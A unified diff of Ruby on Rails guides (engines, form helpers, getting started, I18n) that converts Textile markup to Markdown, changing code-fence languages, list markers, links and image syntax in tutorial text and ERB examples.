To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
|
||||
|
||||
|
@ -471,7 +471,7 @@ Also, to keep it simple, the posts form will have a new text field called `autho
|
|||
|
||||
First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<div class="field">
|
||||
<%= f.label :author_name %><br />
|
||||
<%= f.text_field :author_name %>
|
||||
|
@ -528,14 +528,14 @@ Now with all the pieces in place, an action will take place that will associate
|
|||
|
||||
Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>
|
||||
<b>Author:</b>
|
||||
<%= @post.author %>
|
||||
</p>
|
||||
```
|
||||
|
||||
By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly:
|
||||
By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly:
|
||||
|
||||
```
|
||||
#<User:0x00000100ccb3b0>
|
||||
|
@ -786,7 +786,7 @@ You can override this view in the application by simply creating a new file at `
|
|||
|
||||
Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>Posts</h1>
|
||||
<%= link_to "New Post", new_post_path %>
|
||||
<% @posts.each do |post| %>
|
||||
|
|
|
@ -29,7 +29,7 @@ The most basic form helper is `form_tag`.
|
|||
<% end %>
|
||||
```
|
||||
|
||||
When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
|
||||
When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
|
||||
|
||||
```html
|
||||
<form accept-charset="UTF-8" action="/home/index" method="post">
|
||||
|
@ -41,7 +41,7 @@ When called without arguments like this, it creates a `<form>` tag which,
|
|||
</form>
|
||||
```
|
||||
|
||||
Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are [GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide](./security.html#cross-site-request-forgery-csrf).
|
||||
Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](./security.html#cross-site-request-forgery-csrf).
|
||||
|
||||
NOTE: Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity.
|
||||
|
||||
|
@ -49,10 +49,10 @@ NOTE: Throughout this guide, the `div` with the hidden input elements will be ex
|
|||
|
||||
One of the most basic forms you see on the web is a search form. This form contains:
|
||||
|
||||
# a form element with "GET" method,
|
||||
# a label for the input,
|
||||
# a text input element, and
|
||||
# a submit element.
|
||||
* a form element with "GET" method,
|
||||
* a label for the input,
|
||||
* a text input element, and
|
||||
* a submit element.
|
||||
|
||||
To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this:
|
||||
|
||||
|
@ -100,7 +100,7 @@ form_tag({:controller => "people", :action => "search"}, :method => "get", :clas
|
|||
|
||||
### Helpers for Generating Form Elements
|
||||
|
||||
Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user for that field. For example, if the form contains `<%= text_field_tag(:query) %>`, then you would be able to get the value of this field in the controller with `params[:query]`.
|
||||
Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user for that field. For example, if the form contains `<%= text_field_tag(:query) %>`, then you would be able to get the value of this field in the controller with `params[:query]`.
|
||||
|
||||
When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
|
||||
|
||||
|
@ -245,10 +245,10 @@ The corresponding view `app/views/articles/new.html.erb` using `form_for` looks
|
|||
|
||||
There are a few things to note here:
|
||||
|
||||
# `@article` is the actual object being edited.
|
||||
# There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
|
||||
# The `form_for` method yields a *form builder* object (the `f` variable).
|
||||
# Methods to create form controls are called *on* the form builder object `f`
|
||||
* `@article` is the actual object being edited.
|
||||
* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
|
||||
* The `form_for` method yields a *form builder* object (the `f` variable).
|
||||
* Methods to create form controls are called *on* the form builder object `f`
|
||||
|
||||
The resulting HTML is:
|
||||
|
||||
|
@ -260,11 +260,11 @@ The resulting HTML is:
|
|||
</form>
|
||||
```
|
||||
|
||||
The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[<em>attribute_name</em>]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the parameter_names section.
|
||||
The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the parameter_names section.
|
||||
|
||||
The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
|
||||
|
||||
You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
|
||||
You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
|
||||
|
||||
```erb
|
||||
<%= form_for @person, :url => { :action => "create" } do |person_form| %>
|
||||
|
@ -387,7 +387,7 @@ The most generic helper is `select_tag`, which -- as the name implies -- simply
|
|||
|
||||
This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
|
||||
|
||||
output:
|
||||
|
@ -407,7 +407,7 @@ Knowing this, you can combine `select_tag` and `options_for_select` to achieve t
|
|||
|
||||
`options_for_select` allows you to pre-select an option by passing its value.
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
|
||||
|
||||
output:
|
||||
|
@ -425,7 +425,7 @@ WARNING: when `:inlude_blank` or `:prompt:` are not present, `:include_blank` is
|
|||
|
||||
You can add arbitrary attributes to the options using hashes:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= options_for_select([['Lisbon', 1, :'data-size' => '2.8 million'], ['Madrid', 2, :'data-size' => '3.2 million']], 2) %>
|
||||
|
||||
output:
|
||||
|
@ -502,8 +502,8 @@ Using Date and Time Form Helpers
|
|||
|
||||
You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:
|
||||
|
||||
# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
|
||||
# Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers.
|
||||
* Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
|
||||
* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers.
|
||||
|
||||
Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
|
||||
|
||||
|
@ -810,7 +810,7 @@ Sometimes when you submit data to an external resource, like payment gateway, fi
|
|||
The same technique is available for the `form_for` too:
|
||||
|
||||
```erb
|
||||
<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f|
|
||||
<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f| %>
|
||||
Form contents
|
||||
<% end %>
|
||||
```
|
||||
|
@ -818,7 +818,7 @@ The same technique is available for the `form_for` too:
|
|||
Or if you don't want to render an `authenticity_token` field:
|
||||
|
||||
```erb
|
||||
<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f|
|
||||
<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f| %>
|
||||
Form contents
|
||||
<% end %>
|
||||
```
|
||||
|
@ -852,7 +852,7 @@ This creates an `addresses_attributes=` method on `Person` that allows you to cr
|
|||
|
||||
The following form allows a user to create a `Person` and its associated addresses.
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= form_for @person do |f| %>
|
||||
Addresses:
|
||||
<ul>
|
||||
|
|
|
@ -25,7 +25,7 @@ prerequisites installed:
|
|||
* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or higher
|
||||
|
||||
* The [RubyGems](http://rubyforge.org/frs/?group_id=126) packaging system
|
||||
** If you want to learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1)
|
||||
* If you want to learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1)
|
||||
* A working installation of the [SQLite3 Database](http://www.sqlite.org)
|
||||
|
||||
Rails is a web application framework running on the Ruby programming language.
|
||||
|
@ -84,8 +84,7 @@ To install Rails, use the `gem install` command provided by RubyGems:
|
|||
```
|
||||
|
||||
TIP. A number of tools exist to help you quickly install Ruby and Ruby
|
||||
on Rails on your system. Windows users can use "Rails
|
||||
Installer":http://railsinstaller.org, while Mac OS X users can use
|
||||
on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use
|
||||
[Rails One Click](http://railsoneclick.com).
|
||||
|
||||
To verify that you have everything installed correctly, you should be able to run the following:
|
||||
|
@ -125,7 +124,7 @@ application. Most of the work in this tutorial will happen in the `app/` folder,
|
|||
| File/Folder | Purpose |
|
||||
| ----------- | ------- |
|
||||
|app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.|
|
||||
|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html|)
|
||||
|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)|
|
||||
|config.ru|Rack configuration for Rack based servers used to start the application.|
|
||||
|db/|Contains your current database schema, as well as the database migrations.|
|
||||
|doc/|In-depth documentation for your application.|
|
||||
|
@ -136,7 +135,7 @@ application. Most of the work in this tutorial will happen in the `app/` folder,
|
|||
|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
|
||||
|README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
|
||||
|script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
|
||||
|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html|)
|
||||
|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html)|
|
||||
|tmp/|Temporary files (like cache, pid and session files)|
|
||||
|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).|
|
||||
|
||||
|
@ -236,7 +235,7 @@ This is your application's _routing file_ which holds entries in a special DSL (
|
|||
root :to => "welcome#index"
|
||||
```
|
||||
|
||||
The `root :to => [welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to "http://localhost:3000/welcome/index](http://localhost:3000/welcome/index) to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`).
|
||||
The `root :to => "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to [http://localhost:3000/welcome/index](http://localhost:3000/welcome/index) to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`).
|
||||
|
||||
If you navigate to [http://localhost:3000](http://localhost:3000) in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly.
|
||||
|
||||
|
@ -327,7 +326,7 @@ The simplest template that would work in this case would be one located at `app/
|
|||
|
||||
Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it:
|
||||
|
||||
```erb
|
||||
```html
|
||||
<h1>New Post</h1>
|
||||
```
|
||||
|
||||
|
@ -339,7 +338,7 @@ To create a form within this template, you will use a <em>form
|
|||
builder</em>. The primary form builder for Rails is provided by a helper
|
||||
method called `form_for`. To use this method, add this code into `app/views/posts/new.html.erb`:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= form_for :post do |f| %>
|
||||
<p>
|
||||
<%= f.label :title %><br>
|
||||
|
@ -373,7 +372,7 @@ like this is called "create", and so the form should be pointed to that action.
|
|||
|
||||
Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= form_for :post, :url => { :action => :create } do |f| %>
|
||||
```
|
||||
|
||||
|
@ -568,7 +567,7 @@ variables to the view.
|
|||
Now, create a new file `app/view/posts/show.html.erb` with the following
|
||||
content:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>
|
||||
<strong>Title:</strong>
|
||||
<%= @post.title %>
|
||||
|
@ -605,7 +604,7 @@ end
|
|||
|
||||
And then finally a view for this action, located at `app/views/posts/index.html.erb`:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>Listing posts</h1>
|
||||
|
||||
<table>
|
||||
|
@ -632,7 +631,7 @@ navigate through pages.
|
|||
|
||||
Open `app/views/welcome/index.html.erb` and modify it as follows:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<h1>Hello, Rails!</h1>
|
||||
<%= link_to "My Blog", :controller => "posts" %>
|
||||
```
|
||||
|
@ -641,7 +640,7 @@ The `link_to` method is one of Rails' built-in view helpers. It creates a
|
|||
hyperlink based on text to display and where to go - in this case, to the path
|
||||
for posts.
|
||||
|
||||
Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag:
|
||||
Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag:
|
||||
|
||||
```erb
|
||||
<%= link_to 'New post', :action => :new %>
|
||||
|
@ -659,7 +658,7 @@ This link will allow you to bring up the form that lets you create a new post. Y
|
|||
|
||||
Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>
|
||||
<strong>Title:</strong>
|
||||
<%= @post.title %>
|
||||
|
@ -726,8 +725,7 @@ end
|
|||
These changes will ensure that all posts have a title that is at least five characters long.
|
||||
Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their
|
||||
format, and the existence of associated objects. Validations are covered in detail
|
||||
in "Active Record Validations and
|
||||
Callbacks":active_record_validations_callbacks.html#validations-overview
|
||||
in [Active Record Validations and Callbacks](active_record_validations_callbacks.html#validations-overview)
|
||||
|
||||
With the validation now in place, when you call `@post.save` on an invalid
|
||||
post, it will return `false`. If you open `app/controllers/posts_controller.rb`
|
||||
|
@ -765,7 +763,7 @@ form, but that's not very useful. You need to tell the user that
|
|||
something went wrong. To do that, you'll modify
|
||||
`app/views/posts/new.html.erb` to check for error messages:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= form_for :post, :url => { :action => :create } do |f| %>
|
||||
<% if @post.errors.any? %>
|
||||
<div id="errorExplanation">
|
||||
|
@ -842,7 +840,7 @@ The view will contain a form similar to the one we used when creating
|
|||
new posts. Create a file called `app/views/posts/edit.html.erb` and make
|
||||
it look as follows:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>Editing post</h1>
|
||||
|
||||
<%= form_for :post, :url => { :action => :update, :id => @post.id },
|
||||
|
@ -920,8 +918,7 @@ Finally, we want to show a link to the `edit` action in the list of all the
|
|||
posts, so let's add that now to `app/views/posts/index.html.erb` to make it
|
||||
appear next to the "Show" link:
|
||||
|
||||
```erb
|
||||
|
||||
```html+erb
|
||||
<table>
|
||||
<tr>
|
||||
<th>Title</th>
|
||||
|
@ -945,25 +942,23 @@ And we'll also add one to the `app/views/posts/show.html.erb` template as well,
|
|||
so that there's also an "Edit" link on a post's page. Add this at the bottom of
|
||||
the template:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
...
|
||||
|
||||
|
||||
<%= link_to 'Back', :action => :index %>
|
||||
| <%= link_to 'Edit', :action => :edit, :id => @post.id %>
|
||||
```
|
||||
|
||||
And here's how our app looks so far:
|
||||
|
||||
!images/getting_started/index_action_with_edit_link.png(Index action
|
||||
with edit link)!
|
||||
![Index action with edit link](images/getting_started/index_action_with_edit_link.png)
|
||||
|
||||
### Using partials to clean up duplication in views
|
||||
|
||||
`partials` are what Rails uses to remove duplication in views. Here's a
|
||||
simple example:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
# app/views/user/show.html.erb
|
||||
|
||||
<h1><%= @user.name %></h1>
|
||||
|
@ -982,8 +977,8 @@ The `users/show` template will automatically include the content of the
|
|||
as to not be confused with regular views. However, you don't include the
|
||||
underscore when including them with the `helper` method.
|
||||
|
||||
TIP: You can read more about partials in the "Layouts and Rendering in
|
||||
Rails":layouts_and_rendering.html guide.
|
||||
TIP: You can read more about partials in the
|
||||
[Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
|
||||
|
||||
Our `edit` action looks very similar to the `new` action, in fact they
|
||||
both share the same code for displaying the form. Lets clean them up by
|
||||
|
@ -992,7 +987,7 @@ using a partial.
|
|||
Create a new file `app/views/posts/_form.html.erb` with the following
|
||||
content:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= form_for @post do |f| %>
|
||||
<% if @post.errors.any? %>
|
||||
<div id="errorExplanation">
|
||||
|
@ -1027,7 +1022,7 @@ when building the form will be explained in just a moment. For now, let's update
|
|||
`app/views/posts/new.html.erb` view to use this new partial, rewriting it
|
||||
completely:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>New post</h1>
|
||||
|
||||
<%= render 'form' %>
|
||||
|
@ -1037,7 +1032,7 @@ completely:
|
|||
|
||||
Then do the same for the `app/views/posts/edit.html.erb` view:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>Edit post</h1>
|
||||
|
||||
<%= render 'form' %>
|
||||
|
@ -1049,8 +1044,7 @@ Point your browser to [http://localhost:3000/posts/new](http://localhost:3000/po
|
|||
try creating a new post. Everything still works. Now try editing the
|
||||
post and you'll receive the following error:
|
||||
|
||||
!images/getting_started/undefined_method_post_path.png(Undefined method
|
||||
post_path)!
|
||||
![Undefined method post_path](images/getting_started/undefined_method_post_path.png)
|
||||
|
||||
To understand this error, you need to understand how `form_for` works.
|
||||
When you pass an object to `form_for` and you don't specify a `:url`
|
||||
|
@ -1131,10 +1125,10 @@ them from the database. Note that we don't need to add a view for this
|
|||
action since we're redirecting to the `index` action.
|
||||
|
||||
Finally, add a 'destroy' link to your `index` action template
|
||||
(+app/views/posts/index.html.erb) to wrap everything
|
||||
(`app/views/posts/index.html.erb`) to wrap everything
|
||||
together.
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<h1>Listing Posts</h1>
|
||||
<table>
|
||||
<tr>
|
||||
|
@ -1389,7 +1383,7 @@ spam comments when they arrive.
|
|||
So first, we'll wire up the Post show template
|
||||
(`/app/views/posts/show.html.erb`) to let us make a new comment:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>
|
||||
<strong>Title:</strong>
|
||||
<%= @post.title %>
|
||||
|
@ -1451,7 +1445,7 @@ using the `post_path(@post)` helper. As we have already seen, this calls the
|
|||
template. This is where we want the comment to show, so let's add that to the
|
||||
`app/views/posts/show.html.erb`.
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>
|
||||
<strong>Title:</strong>
|
||||
<%= @post.title %>
|
||||
|
@ -1512,7 +1506,7 @@ First, we will make a comment partial to extract showing all the comments for th
|
|||
post. Create the file `app/views/comments/_comment.html.erb` and put the
|
||||
following into it:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>
|
||||
<strong>Commenter:</strong>
|
||||
<%= comment.commenter %>
|
||||
|
@ -1527,7 +1521,7 @@ following into it:
|
|||
Then you can change `app/views/posts/show.html.erb` to look like the
|
||||
following:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>
|
||||
<strong>Title:</strong>
|
||||
<%= @post.title %>
|
||||
|
@ -1571,7 +1565,7 @@ comment to a local variable named the same as the partial, in this case
|
|||
Let us also move that new comment section out to its own partial. Again, you
|
||||
create a file `app/views/comments/_form.html.erb` containing:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= form_for([@post, @post.comments.build]) do |f| %>
|
||||
<p>
|
||||
<%= f.label :commenter %><br />
|
||||
|
@ -1589,7 +1583,7 @@ create a file `app/views/comments/_form.html.erb` containing:
|
|||
|
||||
Then you make the `app/views/posts/show.html.erb` look like the following:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>
|
||||
<strong>Title:</strong>
|
||||
<%= @post.title %>
|
||||
|
@ -1625,7 +1619,7 @@ in the `CommentsController`.
|
|||
So first, let's add the delete link in the
|
||||
`app/views/comments/_comment.html.erb` partial:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>
|
||||
<strong>Commenter:</strong>
|
||||
<%= comment.commenter %>
|
||||
|
@ -1768,6 +1762,7 @@ not stored as UTF-8, it can occasionally result in these kinds of issues that
|
|||
cannot be automatically detected by Rails and corrected.
|
||||
|
||||
Two very common sources of data that are not UTF-8:
|
||||
|
||||
* Your text editor: Most text editors (such as Textmate), default to saving files as
|
||||
UTF-8. If your text editor does not, this can result in special characters that you
|
||||
enter in your templates (such as é) to appear as a diamond with a question mark inside
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
Rails Internationalization (I18n) API
|
||||
=====================================
|
||||
|
||||
The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
|
||||
The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for **translating your application to a single custom language** other than English or for **providing multi-language support** in your application.
|
||||
|
||||
The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]
|
||||
The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits.^[1](#footnote-1)
|
||||
|
||||
So, in the process of _internationalizing_ your Rails application you have to:
|
||||
|
||||
|
@ -31,7 +31,7 @@ Internationalization is a complex problem. Natural languages differ in so many w
|
|||
* providing support for English and similar languages out of the box
|
||||
* making it easy to customize and extend everything for other languages
|
||||
|
||||
As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
|
||||
As part of this solution, **every static string in the Rails framework** -- e.g. Active Record validation messages, time and date formats -- **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults.
|
||||
|
||||
### The Overall Architecture of the Library
|
||||
|
||||
|
@ -81,7 +81,7 @@ There are just a few simple steps to get up and running with I18n support for yo
|
|||
|
||||
Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
|
||||
|
||||
Rails adds all `.rb` and `.yml` files from the `config/locales` directory to your *translations load path*, automatically.
|
||||
Rails adds all `.rb` and `.yml` files from the `config/locales` directory to your **translations load path**, automatically.
|
||||
|
||||
The default `en.yml` locale in this directory contains a sample pair of translation strings:
|
||||
|
||||
|
@ -92,11 +92,11 @@ en:
|
|||
|
||||
This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
|
||||
|
||||
The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
|
||||
The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
|
||||
|
||||
NOTE: The i18n library takes a *pragmatic approach* to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize2](ht)
|
||||
NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize2](ht)
|
||||
|
||||
The *translations load path* (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
|
||||
The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
|
||||
|
||||
NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
|
||||
|
||||
|
@ -126,11 +126,11 @@ I18n.default_locale = :pt
|
|||
|
||||
### Setting and Passing the Locale
|
||||
|
||||
If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in `application.rb` or an initializer as shown above, and it will persist through the requests.
|
||||
If you want to translate your Rails application to a **single language other than English** (the default locale), you can set I18n.default_locale to your locale in `application.rb` or an initializer as shown above, and it will persist through the requests.
|
||||
|
||||
However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests.
|
||||
However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests.
|
||||
|
||||
WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however *do not do this*. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
|
||||
